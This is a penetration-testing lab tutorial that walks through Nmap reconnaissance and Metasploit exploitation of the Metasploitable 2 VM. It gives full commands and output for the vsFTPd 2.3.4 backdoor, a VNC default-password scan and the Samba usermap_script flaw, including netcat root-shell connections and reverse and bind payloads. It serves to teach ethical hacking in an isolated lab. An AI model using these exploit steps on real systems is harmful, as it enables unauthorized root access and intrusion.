Learn Hacking with Metasploitable 2: Metasploit Walkthrough on Kali Linux

Deepak Prasad
Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package metasploit-framework 6.4.135-0kali1
nmap 7.99+dfsg-1kali1
xtightvncviewer 1:1.3.10-11
Applies to Kali Linux
Lab environment Kali + Metasploitable 2 on VirtualBox host-only — pentest lab setup
Privilege Normal user for scans and msfconsole; sudo for msfdb init and package updates
Scope Nmap reconnaissance, port-to-module mapping, and Metasploit exploits for vsFTPd CVE-2011-2523, VNC login on port 5900, and Samba CVE-2007-2447 on Metasploitable 2. Does not cover msfvenom payload crafting, Meterpreter post-exploitation, pivoting, or targets outside your lab.
Related guides Network reconnaissance with Nmap
Reverse shell cheat sheet

This ethical hacking lab guide takes you from a blank Kali terminal to a root shell on Metasploitable 2. Along the way I explain what each step checks and what a good result looks like. You scan the target with Nmap, map each open port to a Metasploit module, then practice three exploits:

  • vsFTPd 2.3.4 backdoor (port 21) — unauthenticated root shell on port 6200
  • VNC (port 5900) — weak default password (password); credential scan, not a software CVE
  • Samba usermap_script (ports 139/445) — unauthenticated root command execution

The vsFTPd backdoor is the fully worked practice case. Repeat it until the search → load → set → run → connect rhythm is automatic. For msfconsole fundamentals, keep the Metasploit tutorial open alongside this page.

IMPORTANT
Run every step here only against Metasploitable 2 and Kali virtual machines you own, on a host-only or internal network with no route to the Internet. Exploiting a system you are not authorized to test is a crime in most countries.

Kali and Metasploitable lab setup

Both VMs must share a host-only subnet, Metasploitable needs a snapshot before the first exploit, and you should know basic msfconsole commands from the Metasploit tutorial. When that is in place, every exercise below uses the same TARGET and KALI_IP values.

Before you start, make sure you have:

  • Kali Linux with metasploit-framework, nmap, and a VNC viewer installed
  • Metasploitable 2 running on the same host-only or internal network
  • Both VMs on the same subnet (host-only adapter in VirtualBox is the usual choice)
  • A snapshot of Metasploitable taken before your first exploit
  • The msfconsole basics (search, use, show options, set) from the Metasploit tutorial

Each exploit opens a root shell that can change files on the target. Restore the snapshot between exercises so every service starts from a known state.

VirtualBox network, IPs, and exploit prerequisites

Every command and output block below was tested on this VirtualBox layout. Substitute your own addresses if your hypervisor assigns a different range, but keep TARGET and KALI_IP on the same lab subnet.

Item Attacker (Kali) Target (Metasploitable 2)
Hypervisor Oracle VirtualBox (shared) Same host
Lab network Host-only / internal 192.168.56.0/24 Same subnet
VM / OS Kali GNU/Linux Rolling 2026.2 Metasploitable 2
Lab IP 192.168.56.115 on eth1 (KALI_IP) 192.168.56.114 (TARGET)
Other NIC 10.0.2.15 on eth0 (NAT; do not use as LHOST)
Console login Your Kali user msfadmin / msfadmin
VNC (port 5900) Run vncviewer TARGET:5900 Password password
vsFTPd exercise msfconsolerun; then nc TARGET 6200 Port 21 triggers root shell on 6200
Samba exercise Set LHOST to lab IP; payload cmd/unix/bind_netcat Port 139 (module default)
Before first exploit Confirm ping TARGET from Kali Take a VM snapshot

Throughout this guide, TARGET means 192.168.56.114 and KALI_IP means 192.168.56.115 on the lab adapter.


Find the Metasploitable IP

You need the target IP before any scan or exploit. Log into the Metasploitable console and read ifconfig, or discover the guest on your lab subnet from Kali with arp-scan or netdiscover and confirm with Nmap.

Pick one of these methods to learn the target address before you scan:

From the Metasploitable console

  • Boot the VM and log in with msfadmin / msfadmin
  • Run ifconfig and note the address on the host-only or internal adapter (often eth0)

From Kali when you cannot log into the console

  • Run sudo arp-scan --interface eth1 --localnet or sudo netdiscover -r 192.168.56.0/24
  • Look for the Oracle VirtualBox MAC prefix 08:00:27 in the results
  • Confirm the candidate with nmap -sV TARGET

From Kali, confirm the two VMs can reach each other before you scan:

bash
ping -c 3 192.168.56.114
output
PING 192.168.56.114 (192.168.56.114) 56(84) bytes of data.
64 bytes from 192.168.56.114: icmp_seq=1 ttl=64 time=0.45 ms
64 bytes from 192.168.56.114: icmp_seq=2 ttl=64 time=0.38 ms
64 bytes from 192.168.56.114: icmp_seq=3 ttl=64 time=0.41 ms

A reply confirms Kali can reach the target. If the ping times out:

  • Both VMs are not on the same host-only or internal network — check VirtualBox adapter settings
  • One VM may still be booting — wait for the login prompt on Metasploitable and retry
  • A firewall on either guest may block ICMP — try nmap -Pn -p 21 TARGET instead of ping

Scan services with Nmap

A service scan turns open ports into version strings Metasploit search can match. Focus on port 21 (vsftpd 2.3.4), Samba on 139/445, and VNC on 5900 — those rows drive the three exploits in this guide.

Enumerate open ports, service versions, and the guest OS with Nmap service detection:

  • -sV prints version strings that Metasploit search terms match against
  • -O adds OS detection (helpful context, not required for the exploits below)
bash
nmap -sV -O 192.168.56.114
output
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
MAC Address: 08:00:27:EB:8C:B9 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Focus on these rows from the scan output. Each version string maps to a module in the next section:

The MAC line (08:00:27) confirms a VirtualBox guest, which matches a typical lab setup. If you want a scanner-driven CVE report before exploitation, run OpenVAS against Metasploitable and map its findings to modules the same way.


Map Nmap findings to Metasploit modules

Before you touch msfconsole, line up each Nmap version string with the module that exploits it. This table is the skill the walkthrough builds — the tools only deliver what you mapped here.

Port Service (version) Metasploit module Result

Each row becomes one exercise. Work through them in this order:

  1. vsFTPd — cleanest path to root; no callback routing to debug
  2. VNC — quick credential win; proves auxiliary scanners work
  3. Samba — teaches reverse vs bind payloads when a shell does not land

Exploit the vsFTPd 2.3.4 backdoor (CVE-2011-2523)

This is the exercise to master first. In 2011 someone slipped a backdoor into the vsftpd-2.3.4.tar.gz source archive (CVE-2011-2523). When a login username ends with :), the daemon opens an unauthenticated root shell on TCP port 6200. Metasploitable 2 still ships that exact build, so it is a reliable, self-contained target.

  • CVE — CVE-2011-2523 (backdoor in vsFTPd 2.3.4 source distribution)
  • Moduleexploit/unix/ftp/vsftpd_234_backdoor
  • Win conditionuid=0(root) on port 6200 without any password

Step 1: Search for the module

Launch the console and search by service name:

bash
msfconsole
text
search vsftpd
output
Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes    VSFTPD 2.3.4 Backdoor Command Execution

Two modules match. Pick index 1:

  • exploit/unix/ftp/vsftpd_234_backdoorexcellent rank, command execution (this guide)
  • auxiliary/dos/ftp/vsftpd_232 — denial of service only; not what you want here

The Check: Yes column means this module can confirm the target is vulnerable before you fire.

Step 2: Load the module and read its options

text
use exploit/unix/ftp/vsftpd_234_backdoor
show options
output
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   21               yes       The target port (TCP)

The module needs only RHOSTS. RPORT already defaults to 21, the FTP port that triggers the backdoor.

Option Default You set
RHOSTS empty Metasploitable IP
RPORT 21 leave default

Step 3: Set the target and run the exploit

Point the module at your target. On Metasploit 6.4.135 it runs its own vulnerability check automatically (AutoCheck) before firing, so you can go straight to run:

text
set RHOSTS 192.168.56.114
run
output
[*] 192.168.56.114:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.114:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 192.168.56.114:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 192.168.56.114:21 - Backdoor has been spawned!
[*] Exploit completed, but no session was created.

Read the output line by line:

  • FTP banner hints its vulnerable — Nmap-style banner match on 220 (vsFTPd 2.3.4)
  • The target appears to be vulnerable — AutoCheck passed; safe to trigger
  • Backdoor has been spawned! — the :) login opened port 6200; this is the win
  • no session was created — expected on Metasploitable; the default fetch/meterpreter payload cannot complete on 2008-era userland

The backdoor shell is already listening even when no Metasploit session opens.

NOTE
Older tutorials tell you to set payload cmd/unix/interact here. That payload was removed when the module was refactored, so on current Kali it now returns The value specified for payload is not valid. The reliable way to reach the root shell is to connect to port 6200 directly, shown next.

Step 4: Connect to the root backdoor on port 6200

Open a second Kali terminal and connect straight to the backdoor with Netcat. At the bare prompt, run:

bash
nc 192.168.56.114 6200
output
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Confirm these three facts from the reply:

  • uid=0(root) — you are root without authentication or privilege escalation
  • Kernel 2.6.24-16-server — matches Metasploitable 2's ancient Ubuntu 8.04 base
  • No password prompt — the backdoor is unauthenticated

The backdoor serves one shell at a time. If the connection is refused, the shell is already in use. Restore your Metasploitable snapshot and re-trigger.

Step 5: Clean up

Type exit to close the shell, then restore your Metasploitable snapshot so the next exercise starts clean. The repeatable loop for every service below:

  1. search — find the module name
  2. use — load it
  3. set — point RHOSTS (and LHOST when a payload needs it)
  4. run — fire the module
  5. Connect or sessions — reach the shell or credential result

Exploit VNC on port 5900 (weak password)

VNC (Virtual Network Computing) gives remote desktop access to the Metasploitable GUI. On a default install TightVNC listens on port 5900 with the trivial password password, as documented in the Rapid7 Metasploitable exploitability guide. This is a credential weakness, not a VNC software bug like the vsFTPd or Samba flaws. The vnc_login auxiliary proves the scanner workflow and hands you desktop control.

  • CVE — no VNC implementation CVE on Metasploitable; the risk is a default password (misconfiguration). Scanners and the vnc_login module may tag the finding as CVE-1999-0506, a generic weak-password identifier, not a TightVNC-specific defect
  • Moduleauxiliary/scanner/vnc/vnc_login (scanner, not an exploit)
  • Win conditionLogin Successful: :password

Run the credential scan

Load the login scanner and point it at the target:

text
use auxiliary/scanner/vnc/vnc_login
set RHOSTS 192.168.56.114
run

The scanner walks the built-in wordlist at /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt. On Metasploitable the match appears quickly:

output
[+] 192.168.56.114:5900 - Login Successful: :password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The login format :password means:

  • Empty username — VNC on this build does not require a user name
  • Password password — the default Metasploitable credential

Connect with a VNC viewer

From Kali, open a viewer session against the discovered service:

bash
vncviewer 192.168.56.114:5900

When prompted, enter password. You should see the Metasploitable desktop with full mouse and keyboard control. From there you can:

  • Browse files and confirm you are on the target (not your Kali desktop)
  • Open a terminal on the Metasploitable desktop as msfadmin
  • Practice manual credential reuse on other lab services

VNC access alone does not give root. Pair it with the shell exploits above when you need privileged command execution.


Exploit the Samba usermap_script (CVE-2007-2447)

Samba 3.0.20 through 3.0.25rc3 executes shell metacharacters in a username when the non-default username map script option is set (CVE-2007-2447). Metasploitable ships that misconfiguration, so a crafted username runs commands as root without authentication.

  • CVE — CVE-2007-2447 (command execution via username map script)
  • Moduleexploit/multi/samba/usermap_script
  • Default port — 139 (Samba also listens on 445)
  • Win conditionuid=0(root) in the shell session

Load the module and read defaults

text
use exploit/multi/samba/usermap_script
show options
output
Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

Note these defaults before you set options:

  • RPORT 139 — the module targets NetBIOS session service by default; port 445 also works on Metasploitable but is not the default here
  • Payload cmd/unix/reverse_netcat — Metasploitable must call back to your Kali LHOST
  • LHOST empty — you must set this to Kali's lab IP (never 127.0.0.1)

Try the default reverse payload first

text
set RHOSTS 192.168.56.114
set LHOST 192.168.56.115
run

When routing between the two VMs is clean, you see a session open immediately. When the callback path fails, Metasploit reports:

output
[*] Exploit completed, but no session was created.

That message does not mean Samba is patched. It usually means Metasploitable's old Netcat could not reach your LHOST.

Switch to a bind payload when reverse fails

A bind payload flips the direction: the target opens the listener and Metasploit connects in. Nothing has to route back to Kali.

text
set payload cmd/unix/bind_netcat
run
output
[*] Started bind TCP handler against 192.168.56.114:4444
[*] Command shell session 1 opened (192.168.56.115:40605 -> 192.168.56.114:4444)
Payload Direction Works when
cmd/unix/reverse_netcat Target → Kali LHOST is reachable from Metasploitable
cmd/unix/bind_netcat Kali → Target Callback routing is blocked or unreliable

Confirm root access

text
sessions -c "id" -i 1
sessions -c "uname -a" -i 1
output
[*] Running 'id' on shell session 1 (192.168.56.114)
uid=0(root) gid=0(root)
[*] Running 'uname -a' on shell session 1 (192.168.56.114)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Both commands should return root context and the same 2.6.24-16-server kernel string you saw on the vsFTPd shell.


Troubleshooting

Group symptoms by service when something fails mid-exercise:

vsFTPd backdoor

Symptom Likely cause Fix
Backdoor has been spawned! then no session was created Expected — default payload does not complete on the old target Connect with nc TARGET 6200; do not treat this as a failure
The value specified for payload is not valid You tried set payload cmd/unix/interact, which was removed Skip the payload step; run the module and connect to port 6200
nc TARGET 6200 connection refused Backdoor already in use, or not yet triggered Restore the Metasploitable snapshot to re-arm it, then run the exploit again
check says target is not vulnerable Patched or non-Metasploitable FTP server Confirm the banner reads 220 (vsFTPd 2.3.4)

VNC scanner

Symptom Likely cause Fix
Scanner finds no password VNC disabled or password changed on a modified image Reset the snapshot; confirm port 5900 is open in Nmap
vncviewer connects but desktop is blank Viewer resolution mismatch Resize the viewer window or try vncviewer -fullscreen

Samba usermap_script

Symptom Likely cause Fix
Reverse shell never connects Callback LHOST unreachable from the target Switch to set payload cmd/unix/bind_netcat, or set LHOST to Kali's lab IP (never 127.0.0.1)
Bind shell opens but sessions -c fails Wrong session ID Run sessions -l and use the active ID

General

Symptom Likely cause Fix
Module not found in search Outdated Metasploit install sudo apt update && sudo apt install metasploit-framework
Ping fails but services respond ICMP blocked on one guest Use nmap -Pn -sV TARGET instead of ping

References

  • Metasploitable 2 documentation (Rapid7)
  • Metasploitable 2 exploitability guide (Rapid7)
  • VSFTPD 2.3.4 Backdoor — Rapid7 module
  • VNC Authentication Scanner — Rapid7 module
  • Samba usermap_script — Rapid7 module
  • CVE-2011-2523 (vsFTPd backdoor)
  • CVE-2007-2447 (Samba usermap_script)
  • CVE-1999-0506 (generic weak-password finding)
  • Nmap service and version detection
  • Exploit Database

Summary

Metasploitable 2 bundles outdated services on purpose so you can practice the full attack loop safely. The skill this guide builds is not memorizing commands. It is reading an Nmap version string, mapping it to the right module, and confirming before you fire.

Attack loop you practiced

  • Reconnmap -sV finds vsftpd 2.3.4, Samba, and VNC on known ports
  • Map — port-to-module table turns each version string into a Metasploit module name
  • Exploitrun triggers the vulnerability; nc TARGET 6200 or sessions reaches the result
  • Verifyid, uname -a, or VNC desktop access proves you hit the right host

Three exploits covered

  • vsFTPd CVE-2011-2523run spawns the backdoor; connect to port 6200 for root
  • VNC port 5900vnc_login finds :password; vncviewer gives desktop control (weak password, not a software CVE)
  • Samba CVE-2007-2447usermap_script with bind_netcat when reverse fails

Common traps on current Kali

  • cmd/unix/interact was removed; connect to port 6200 instead of setting that payload
  • Samba's default reverse payload may not call back; cmd/unix/bind_netcat is the reliable fix
  • The vsFTPd backdoor serves one shell at a time; restore the snapshot between attempts

Once these three feel routine, extend the same loop to other Metasploitable services (UnrealIRCd, Java RMI, Tomcat, PostgreSQL) or try SSH brute-force and password cracking against lab accounts. Keep every experiment on snapshots and inside networks you are authorized to test.

Frequently Asked Questions

1. Do I need OpenVAS before exploiting Metasploitable 2?

No. An Nmap service scan on Kali is enough to find open ports and versions for the exploits in this guide. OpenVAS or another scanner only adds a formal CVE report when you want one before exploitation.

2. Which Metasploitable 2 exploits does this guide cover?

The vsFTPd 2.3.4 backdoor on port 21, VNC authentication on port 5900, and the Samba username map script command execution on ports 139 and 445. Other Metasploitable services such as UnrealIRCd, Java RMI, and Tomcat are out of scope here.

3. Why does running the vsFTPd module say "no session was created"?

On Metasploit 6.4.135 the module defaults to a fetch/meterpreter payload that cannot complete against Metasploitable's 2008-era userland, so no session opens. The exploit still works — the "Backdoor has been spawned!" line means a root shell is listening on port 6200. Connect to it directly with nc TARGET 6200. The old cmd/unix/interact payload was removed and now returns "not valid".

4. Should I read the Metasploit tutorial first?

Yes if you are new to msfconsole. The Metasploit tutorial on this site covers msfdb init, module search, show options, workspaces, and session handling. This article applies that workflow to three Metasploitable services.

5. What are the default login credentials for Metasploitable 2?

The console login is msfadmin / msfadmin. Log in there and run ifconfig to read the VM's IP address before you scan it from Kali. You never need these credentials for the exploits in this guide, since each one gives you a root shell without authentication.

6. How do I find the Metasploitable 2 IP address from Kali?

If you cannot log into the console, discover it on your host-only or internal subnet with sudo arp-scan --interface eth1 --localnet or sudo netdiscover -r 192.168.56.0/24. Match the Oracle VirtualBox MAC prefix (08:00:27) in the results, then confirm with nmap -sV against that address.

7. Why is the vsFTPd backdoor connection refused on my second attempt?

The vsFTPd 2.3.4 backdoor serves one root shell at a time on port 6200. Once a shell is open or was left half-closed, further connections are refused until the daemon resets. Restore your Metasploitable snapshot (or reboot the VM), run the exploit again, then reconnect with nc TARGET 6200.

8. Can I upgrade a plain command shell to a Meterpreter session?

Yes. When you have a shell session in msfconsole, background it with Ctrl+Z and run sessions -u SESSION_ID to run the shell_to_meterpreter module against it. That gives you Meterpreter features like file upload, hashdump, and process migration on top of the root shell you already have.

9. Does the VNC service on Metasploitable 2 have a CVE?

No software CVE like vsFTPd or Samba. Metasploitable ships TightVNC on port 5900 with the default password password, which is a misconfiguration. Scanners and the vnc_login module may report CVE-1999-0506 as a generic weak-password identifier. This guide treats it as a credential finding, not remote code execution.

10. What is the difference between the reverse and bind Samba payloads?

A reverse payload (cmd/unix/reverse_netcat) makes the target connect back to your Kali LHOST, which fails if that route is blocked or wrong. A bind payload (cmd/unix/bind_netcat) makes the target open a listener that Metasploit connects into, so it works even when the callback path is unreliable. Use the bind payload when a reverse shell never lands.
Kennedy Muthii

Information Security Analyst

Accomplished professional proficient in Python, ethical hacking, Linux, cybersecurity, and OSINT. With a track record including winning a national cybersecurity contest, launching a startup in Kenya, and holding a degree in information science, he is currently engaged in cutting-edge research in ethical hacking.

  • Python (programming language)
  • Certified Ethical Hacker
  • White Hat (Computer Security)
  • Linux
  • Penetration Testing